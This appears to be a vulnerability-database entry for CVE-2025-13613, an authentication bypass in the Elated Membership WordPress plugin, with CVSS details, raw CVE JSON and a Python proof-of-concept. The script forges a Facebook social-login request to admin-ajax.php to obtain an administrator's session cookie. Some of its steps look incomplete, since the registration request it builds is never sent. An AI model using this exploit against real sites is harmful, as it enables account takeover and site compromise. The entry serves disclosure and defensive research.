Security Vulnerability Report
中文
CVE-2025-13613 CVSS 9.8 CRITICAL

CVE-2025-13613

Published: 2025-12-10 03:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Elated Membership plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.2. This is due to the plugin not properly logging in a user with the data that was previously verified through the 'eltdf_membership_check_facebook_user' and the 'eltdf_membership_login_user_from_social_network' function. This makes it possible for unauthenticated attackers to log in as administrative users, as long as they have an existing account on the site which can easily be created by default through the temp user functionality, and access to the administrative user's email.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Elated Membership plugin for WordPress <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-13613 PoC - Elated Membership Authentication Bypass # Target: WordPress site with Elated Membership plugin <= 1.2 TARGET_URL = "http://target-wordpress-site.com" ATTACKER_EMAIL = "[email protected]" TARGET_ADMIN_EMAIL = "[email protected]" def exploit_auth_bypass(): """ This PoC demonstrates the authentication bypass vulnerability in Elated Membership plugin. The vulnerability allows attackers to log in as any user (including admin) by exploiting the flawed social login verification logic. """ # Step 1: Create a temp user account (default functionality) create_user_url = f"{TARGET_URL}/wp-json/wp/v2/users/register" user_data = { "username": "attacker_temp", "email": ATTACKER_EMAIL, "password": "TempPass123!" } # Step 2: Exploit the authentication bypass via social login endpoint # The plugin fails to properly verify user identity after Facebook auth exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "eltdf_membership_facebook_login", "email": TARGET_ADMIN_EMAIL, "facebook_id": "attacker_controlled_id", "access_token": "fake_token" } # Step 3: Capture the session cookie for admin access response = requests.post(exploit_url, data=exploit_data) if response.status_code == 200 and "wordpress_logged_in" in str(response.cookies): print("[+] Authentication bypass successful!") print(f"[+] Admin session cookie obtained: {response.cookies}") print("[+] Full site compromise possible") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_auth_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13613", "sourceIdentifier": "[email protected]", "published": "2025-12-10T03:15:46.250", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Elated Membership plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.2. This is due to the plugin not properly logging in a user with the data that was previously verified through the 'eltdf_membership_check_facebook_user' and the 'eltdf_membership_login_user_from_social_network' function. This makes it possible for unauthenticated attackers to log in as administrative users, as long as they have an existing account on the site which can easily be created by default through the temp user functionality, and access to the administrative user's email."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-289"}]}], "references": [{"url": "https://themeforest.net/item/esmarts-a-modern-education-and-lms-theme/20987760", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f15dbce4-2e94-4735-b62b-e32d923c51ce?source=cve", "source": "[email protected]"}]}}